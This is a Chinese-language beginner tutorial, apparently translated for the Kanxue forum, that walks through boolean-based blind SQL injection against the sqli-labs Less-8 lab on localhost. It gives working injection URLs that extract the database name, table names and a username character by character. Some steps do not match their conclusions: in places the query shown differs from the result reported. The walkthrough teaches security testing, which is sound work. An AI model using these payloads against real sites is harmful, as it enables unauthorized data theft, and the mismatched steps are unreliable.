SQL注入新手教程(第2部分)

SQL语句
448
0
0
2022-05-29
标签   SQL注入

SQL注入新手教程(第2部分)

原文首发 看雪论坛

如今有很多种使用SQL注入攻击数据库的方法,比如之前的教程中已经见过的基于错误返回的攻击、基于登录表单的攻击和其他许多不同形式的攻击,其目的都是获取数据库中的信息。同样地,今天我们将要学习一种新的SQL注入攻击方法——基于布尔的盲注。

攻击者通常在URL中嵌入(')来检查是否可以进行SQL注入攻击,使用(')是为了得到SQL错误返回信息。这是一场开发者和攻击者之间的战争,每当开发者提升了安全防护级别,攻击者就得绞尽脑汁地去攻破它。这一次开发者并没有将错误信息以输出的形式呈现在Web页面上。因此,即使该数据库是易于被SQL注入的,攻击者也无法获得任何相关错误信息。然而,道高一尺,魔高一丈。此时攻击者就会通过估计不同的查询结果,TRUE或者FALSE,来确定该数据库是否可被盲注。

开始吧!

我们使用Dhakkan平台来学习盲注。

Lesson 8

首先在浏览器中输入

http://localhost:81/sqli/Less-8/?id=1打开该平台(注:输入具体以个人实际情况为准,这里是原作者的配置,仅供参考)。

这时会向数据库送入一条查询:SELECT * from table_name WHERE id=1

SQL注入新手教程(第2部分)

由上图可以看出,其结果就是得到一个以黄颜色显示的"You are in..........."的Web页面。

当攻击者使用嵌入(')的查询,即:

http://localhost:81/sqli/Less-8/?id=1'

SQL注入新手教程(第2部分)

由上图可以看出,该黄颜色文本消失了,也没有得到任何错误信息,使用其他攻击方式的情况与此相同。

那么攻击者只好通过盲注来进行验证了,该注入查询返回的一定是TRUE或者FALSE。

http://localhost:81/sqli/Less-8/id=1' AND 1=1 -+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=1

SQL注入新手教程(第2部分)

数据库会对给定的情况1=1进行检查,如果查询有效,它就会返回TRUE。由上图可以看出,我们又得到了黄颜色显示的"You are in...........",这意味着该查询是有效的。

接着下一条查询,

http://localhost:81/sqli/Less-8/?id=1' AND 1=0 -+

对应的后端查询为:SELECT * from table_name WHERE id=1' AND 1=0

SQL注入新手教程(第2部分)

同样的,数据库会对给定的情况1=0进行检查,显然该查询无效的,因此返回FALSE。由上图可以看出,该黄颜色文本右消失了。

以上即可说明该数据库是可被盲注的,由此我们就可以获取数据库信息了。

数据库中字符串长度

下面的查询中将会求数据库中的字符串长度。例如,数据库名为IGNITE,它包含了6个字母,那么该数据库字符串IGNITE的长度就等于6。

与此类似的,我们使用以下注入查询来检查当前数据库名的长度是否等于1,通过是否显示文本"You are in..........."即可判断返回的是TRUE还是FALSE。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 -+

SQL注入新手教程(第2部分)

由上图可以看出,返回的是FALSE,这意味着当前数据库名的长度不等于1。

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 -+

SQL注入新手教程(第2部分)

由上图可以看出,当前数据库名的长度不等于2。

...

http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 -+

SQL注入新手教程(第2部分)

由上图可以看出,当检查到8时,文本"You are in..........."又出现了,这意味着当前数据库名的长度为8。

众所周知,计算机无法理解人类的语言,它只能理解二进制语言,因此,我们要使用ASCII码。ASCII码将字符集中的每一个符号都对应于一个整数,比如字母、数字、标点符号、特殊字符和操作符。

1 = I = 73

2 = G = 71

3 = N = 78

4 = I = 73

5 = T = 84

6 = E = 69

SQL注入新手教程(第2部分)

图片来源:

http://www.lookuptables.com

接下来我们要使用ASCII码枚举出这8个字符。

下一条查询使用关键字ascii substr检查当前数据库名中的第一个字符对应的ASCII码是否大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个字符的ASCII码确实大于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个字符的ASCII码小于120。这意味着第个字符的ASCII码在100和120之间。

接下来逐个检查。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个字符的ASCII码不等于101。

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个字符的ASCII码不等于114。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 -+

SQL注入新手教程(第2部分)

由上图可以看出,返回的是TRUE,意味着第一个字符的ASCII码等于115,即's'(小写)。

接下来就是第二个字符,重复以上步骤。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 -+

SQL注入新手教程(第2部分)

...

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 -+

SQL注入新手教程(第2部分)

由上图可以看出,返回的是TRUE,意味着第二个字符的ASCII码等于101,即'e'(小写)。

同理即可得到全部的8个字符,具体如下:

1 = s = 115

2 = e = 101

3 = c = 99

4 = u = 117

5 = r = 114

6 = i = 105

7 = t = 116

8 = y = 121

表中字符串长度

我们还得使用同样的技术来获取数据库中的表的信息。以下查询会检查第一个表名的长度是否大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个表名的长度确实大于5。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个表名的长度不大于6。其实这已经意味着第一个表名的长度等于6了,不过为了演示,还是执行以下查询:

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 -+

SQL注入新手教程(第2部分)

由上图可以看出,第一个表名的长度确实等于6。

类似的,我用同样的技术测试了第二个和第三个表名的长度,改变一下上面所用查询中的表的编号即可。

再来演示一下如何测试第四个表名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 -+

SQL注入新手教程(第2部分)

由上图可以看出,第四个表名的长度等于5。

然后就是枚举表名的具体字符,所用方法和前面的相同,这里以第四个表名为例。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 115 -+

SQL注入新手教程(第2部分)

由上图可以看出,该表名第一个字符的ASCII码大于115。

接下来测试表名第一个字符的ASCII码是否大于120。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 120 -+

SQL注入新手教程(第2部分)

由上图可以看出,该表名第一个字符的ASCII码小于120。结合上面可知,该表名第一个字符的ASCII码位于115到120之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 116 -+

SQL注入新手教程(第2部分)

由上图可以看出,该表名第一个字符的ASCII码不等于116。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 -+

SQL注入新手教程(第2部分)

由上图可以看出,该表名第一个字符的ASCII码等于117。这意味着第四个表名的第一个字符为'u'(小写)。

同理即可得到第四个表名的全部字符,如下:

1 = u = 117

2 = s = 115

3 = e = 101

4 = r = 114

5 = s = 115

枚举用户名

接下来我们使用同样的技术测试一下表users中用户名的长度。

http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 -+

SQL注入新手教程(第2部分)

由上图可以看出,用户名的长度等于5。

然后就是枚举用户名的具体字符,还是之前的技术。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 -+

SQL注入新手教程(第2部分)

由上图可以看出,该用户名第一个字符的ASCII码小于100。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 -+

SQL注入新手教程(第2部分)

由上图可以看出,该用户名第一个字符的ASCII码大于50。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 -+

SQL注入新手教程(第2部分)

由上图可以看出,该用户名第一个字符的ASCII码大于60。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 -+

SQL注入新手教程(第2部分)

由上图可以看出,该用户名第一个字符的ASCII码不大于70。结合上面可知,该用户名第一个字符的ASCII码位于60到70之间,接着逐个检测。

http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 -+

SQL注入新手教程(第2部分)

由上图可以看出,该用户名第一个字符的ASCII码等于68。这意味着第一个字符为'D'(大写)。

同理即可得到该用户名的全部字符,如下:

1 = D = 68

2 = u = 117

3 = m = 109

4 = b = 98

到此为止,我们已经学会了如何使用盲注技术来攻击数据库。

相关文章:

SQL注入新手教程 (第1部分)

一步步手动进行SQL注入

本文由 看雪翻译小组 hesir 编译